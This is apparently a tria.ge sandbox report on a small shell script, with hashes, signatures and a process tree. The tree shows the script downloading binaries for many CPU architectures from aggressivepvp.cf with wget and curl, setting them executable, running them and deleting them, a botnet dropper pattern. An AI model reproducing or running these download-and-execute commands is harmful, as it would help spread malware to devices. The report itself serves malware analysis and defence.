Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

4

Static

static

1

69f4dcd1de...fe4.sh

ubuntu-18.04-amd64

3

69f4dcd1de...fe4.sh

debian-9-armhf

4

69f4dcd1de...fe4.sh

debian-9-mips

3

69f4dcd1de...fe4.sh

debian-9-mipsel

3

Analysis

  • max time kernel
    40s
  • max time network
    42s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    15/07/2024, 14:32

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    69f4dcd1de05fc553781e737e85bdae5f0e79e7f34ded1899d60630e54d43fe4.sh

  • Size

    2KB

  • MD5

    1ffa7d5e3a236cf0d6981d07e1b90406

  • SHA1

    9bdae03e2410b108144841c466d1e769fea3a9ce

  • SHA256

    69f4dcd1de05fc553781e737e85bdae5f0e79e7f34ded1899d60630e54d43fe4

  • SHA512

    6f2aea4615c2f2cf06fc7dd92d9dd24f8b79d3a89d9fb17a35dcd9170ed12f7b5c238ee64b99dfd19686cdccfca62580a4285cedbad11e4cc39315e0f8bba284

Score
3/10

Malware Config

Signatures

  • Reads runtime system information 14 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/69f4dcd1de05fc553781e737e85bdae5f0e79e7f34ded1899d60630e54d43fe4.sh
    /tmp/69f4dcd1de05fc553781e737e85bdae5f0e79e7f34ded1899d60630e54d43fe4.sh
    1⤵
      PID:703
      • /bin/cp
        cp /bin/busybox /tmp/
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:706
      • /usr/bin/wget
        wget http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.i486
        2⤵
          PID:710
        • /usr/bin/curl
          curl -O http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.i486
          2⤵
          • Reads runtime system information
          PID:728
        • /bin/chmod
          chmod 777 daddyl33tpiss.i486
          2⤵
            PID:734
          • /tmp/daddyl33tpiss.i486
            ./daddyl33tpiss.i486 Retard.i486.wget
            2⤵
              PID:735
            • /bin/rm
              rm -rf daddyl33tpiss.i486
              2⤵
                PID:736
              • /usr/bin/wget
                wget http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.x86_64
                2⤵
                  PID:737
                • /usr/bin/curl
                  curl -O http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.x86_64
                  2⤵
                  • Reads runtime system information
                  PID:739
                • /bin/chmod
                  chmod 777 daddyl33tpiss.x86_64
                  2⤵
                    PID:741
                  • /tmp/daddyl33tpiss.x86_64
                    ./daddyl33tpiss.x86_64 Retard.x86_64.wget
                    2⤵
                      PID:742
                    • /bin/rm
                      rm -rf daddyl33tpiss.x86_64
                      2⤵
                        PID:743
                      • /usr/bin/wget
                        wget http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.i586
                        2⤵
                          PID:744
                        • /usr/bin/curl
                          curl -O http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.i586
                          2⤵
                          • Reads runtime system information
                          PID:745
                        • /bin/chmod
                          chmod 777 daddyl33tpiss.i586
                          2⤵
                            PID:747
                          • /tmp/daddyl33tpiss.i586
                            ./daddyl33tpiss.i586 Retard.i586.wget
                            2⤵
                              PID:748
                            • /bin/rm
                              rm -rf daddyl33tpiss.i586
                              2⤵
                                PID:749
                              • /usr/bin/wget
                                wget http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.i686
                                2⤵
                                  PID:750
                                • /usr/bin/curl
                                  curl -O http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.i686
                                  2⤵
                                  • Reads runtime system information
                                  PID:751
                                • /bin/chmod
                                  chmod 777 daddyl33tpiss.i686
                                  2⤵
                                    PID:755
                                  • /tmp/daddyl33tpiss.i686
                                    ./daddyl33tpiss.i686 Retard.i686.wget
                                    2⤵
                                      PID:758
                                    • /bin/rm
                                      rm -rf daddyl33tpiss.i686
                                      2⤵
                                        PID:760
                                      • /usr/bin/wget
                                        wget http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.mips
                                        2⤵
                                          PID:761
                                        • /usr/bin/curl
                                          curl -O http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.mips
                                          2⤵
                                          • Reads runtime system information
                                          PID:771
                                        • /bin/chmod
                                          chmod 777 daddyl33tpiss.mips
                                          2⤵
                                            PID:776
                                          • /tmp/daddyl33tpiss.mips
                                            ./daddyl33tpiss.mips Retard.mips.wget
                                            2⤵
                                              PID:778
                                            • /bin/rm
                                              rm -rf daddyl33tpiss.mips
                                              2⤵
                                                PID:781
                                              • /usr/bin/wget
                                                wget http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.mipsel
                                                2⤵
                                                  PID:782
                                                • /usr/bin/curl
                                                  curl -O http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.mipsel
                                                  2⤵
                                                  • Reads runtime system information
                                                  PID:790
                                                • /bin/chmod
                                                  chmod 777 daddyl33tpiss.mipsel
                                                  2⤵
                                                    PID:801
                                                  • /tmp/daddyl33tpiss.mipsel
                                                    ./daddyl33tpiss.mipsel Retard.mipsel.wget
                                                    2⤵
                                                      PID:804
                                                    • /bin/rm
                                                      rm -rf daddyl33tpiss.mipsel
                                                      2⤵
                                                        PID:805
                                                      • /usr/bin/wget
                                                        wget http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.arm
                                                        2⤵
                                                          PID:807
                                                        • /usr/bin/curl
                                                          curl -O http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.arm
                                                          2⤵
                                                          • Reads runtime system information
                                                          PID:814
                                                        • /bin/chmod
                                                          chmod 777 daddyl33tpiss.arm
                                                          2⤵
                                                            PID:816
                                                          • /tmp/daddyl33tpiss.arm
                                                            ./daddyl33tpiss.arm Retard.arm.wget
                                                            2⤵
                                                              PID:817
                                                            • /bin/rm
                                                              rm -rf daddyl33tpiss.arm
                                                              2⤵
                                                                PID:818
                                                              • /usr/bin/wget
                                                                wget http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.arm5
                                                                2⤵
                                                                  PID:819
                                                                • /usr/bin/curl
                                                                  curl -O http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.arm5
                                                                  2⤵
                                                                  • Reads runtime system information
                                                                  PID:820
                                                                • /bin/chmod
                                                                  chmod 777 daddyl33tpiss.arm5
                                                                  2⤵
                                                                    PID:822
                                                                  • /tmp/daddyl33tpiss.arm5
                                                                    ./daddyl33tpiss.arm5 Retard.arm5.wget
                                                                    2⤵
                                                                      PID:823
                                                                    • /bin/rm
                                                                      rm -rf daddyl33tpiss.arm5
                                                                      2⤵
                                                                        PID:824
                                                                      • /usr/bin/wget
                                                                        wget http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.arm6
                                                                        2⤵
                                                                          PID:825
                                                                        • /usr/bin/curl
                                                                          curl -O http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.arm6
                                                                          2⤵
                                                                          • Reads runtime system information
                                                                          PID:826
                                                                        • /bin/chmod
                                                                          chmod 777 daddyl33tpiss.arm6
                                                                          2⤵
                                                                            PID:834
                                                                          • /tmp/daddyl33tpiss.arm6
                                                                            ./daddyl33tpiss.arm6 Retard.arm6.wget
                                                                            2⤵
                                                                              PID:836
                                                                            • /bin/rm
                                                                              rm -rf daddyl33tpiss.arm6
                                                                              2⤵
                                                                                PID:838
                                                                              • /usr/bin/wget
                                                                                wget http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.arm7
                                                                                2⤵
                                                                                  PID:840
                                                                                • /usr/bin/curl
                                                                                  curl -O http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.arm7
                                                                                  2⤵
                                                                                  • Reads runtime system information
                                                                                  PID:849
                                                                                • /bin/chmod
                                                                                  chmod 777 daddyl33tpiss.arm7
                                                                                  2⤵
                                                                                    PID:856
                                                                                  • /tmp/daddyl33tpiss.arm7
                                                                                    ./daddyl33tpiss.arm7 Retard.arm7.wget
                                                                                    2⤵
                                                                                      PID:858
                                                                                    • /bin/rm
                                                                                      rm -rf daddyl33tpiss.arm7
                                                                                      2⤵
                                                                                        PID:860
                                                                                      • /usr/bin/wget
                                                                                        wget http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.ppc
                                                                                        2⤵
                                                                                          PID:861
                                                                                        • /usr/bin/curl
                                                                                          curl -O http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.ppc
                                                                                          2⤵
                                                                                          • Reads runtime system information
                                                                                          PID:866
                                                                                        • /bin/chmod
                                                                                          chmod 777 daddyl33tpiss.ppc
                                                                                          2⤵
                                                                                            PID:873
                                                                                          • /tmp/daddyl33tpiss.ppc
                                                                                            ./daddyl33tpiss.ppc Retard.ppc.wget
                                                                                            2⤵
                                                                                              PID:874
                                                                                            • /bin/rm
                                                                                              rm -rf daddyl33tpiss.ppc
                                                                                              2⤵
                                                                                                PID:875
                                                                                              • /usr/bin/wget
                                                                                                wget http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.m68k
                                                                                                2⤵
                                                                                                  PID:876
                                                                                                • /usr/bin/curl
                                                                                                  curl -O http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.m68k
                                                                                                  2⤵
                                                                                                  • Reads runtime system information
                                                                                                  PID:877
                                                                                                • /bin/chmod
                                                                                                  chmod 777 daddyl33tpiss.m68k
                                                                                                  2⤵
                                                                                                    PID:879
                                                                                                  • /tmp/daddyl33tpiss.m68k
                                                                                                    ./daddyl33tpiss.m68k Retard.m68k.wget
                                                                                                    2⤵
                                                                                                      PID:880
                                                                                                    • /bin/rm
                                                                                                      rm -rf daddyl33tpiss.m68k
                                                                                                      2⤵
                                                                                                        PID:881
                                                                                                      • /usr/bin/wget
                                                                                                        wget http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.sh4
                                                                                                        2⤵
                                                                                                          PID:882
                                                                                                        • /usr/bin/curl
                                                                                                          curl -O http://aggressivepvp.cf/iwadyhsa/daddyl33tpiss.sh4
                                                                                                          2⤵
                                                                                                          • Reads runtime system information
                                                                                                          PID:883
                                                                                                        • /bin/chmod
                                                                                                          chmod 777 daddyl33tpiss.sh4
                                                                                                          2⤵
                                                                                                            PID:885
                                                                                                          • /tmp/daddyl33tpiss.sh4
                                                                                                            ./daddyl33tpiss.sh4 Retard.sh4.wget
                                                                                                            2⤵
                                                                                                              PID:886
                                                                                                            • /bin/rm
                                                                                                              rm -rf daddyl33tpiss.sh4
                                                                                                              2⤵
                                                                                                                PID:887

                                                                                                            Network

                                                                                                            MITRE ATT&CK Matrix

                                                                                                            Replay Monitor

                                                                                                            Loading Replay Monitor...

                                                                                                            Downloads

                                                                                                            • /tmp/busybox
                                                                                                              Filesize

                                                                                                              857KB

                                                                                                              MD5

                                                                                                              a39fe8036e559ce804e26518061e59ff

                                                                                                              SHA1

                                                                                                              8df27f6e8a48b762d945ea2f2b87390c80acd4de

                                                                                                              SHA256

                                                                                                              3180df117342646dcdc4c436f95b41e15587e2238ec59064b4b06c065d56cf38

                                                                                                              SHA512

                                                                                                              e97756f316fceef7360e789362648529eea50eb6f7cc56cf654b3fc43ca61f0e4d9f366ed8fd59b73dd5a49615e935e9f53686d15f9a83c7fa472a70e7196d0d

                                                                                                              Download Submit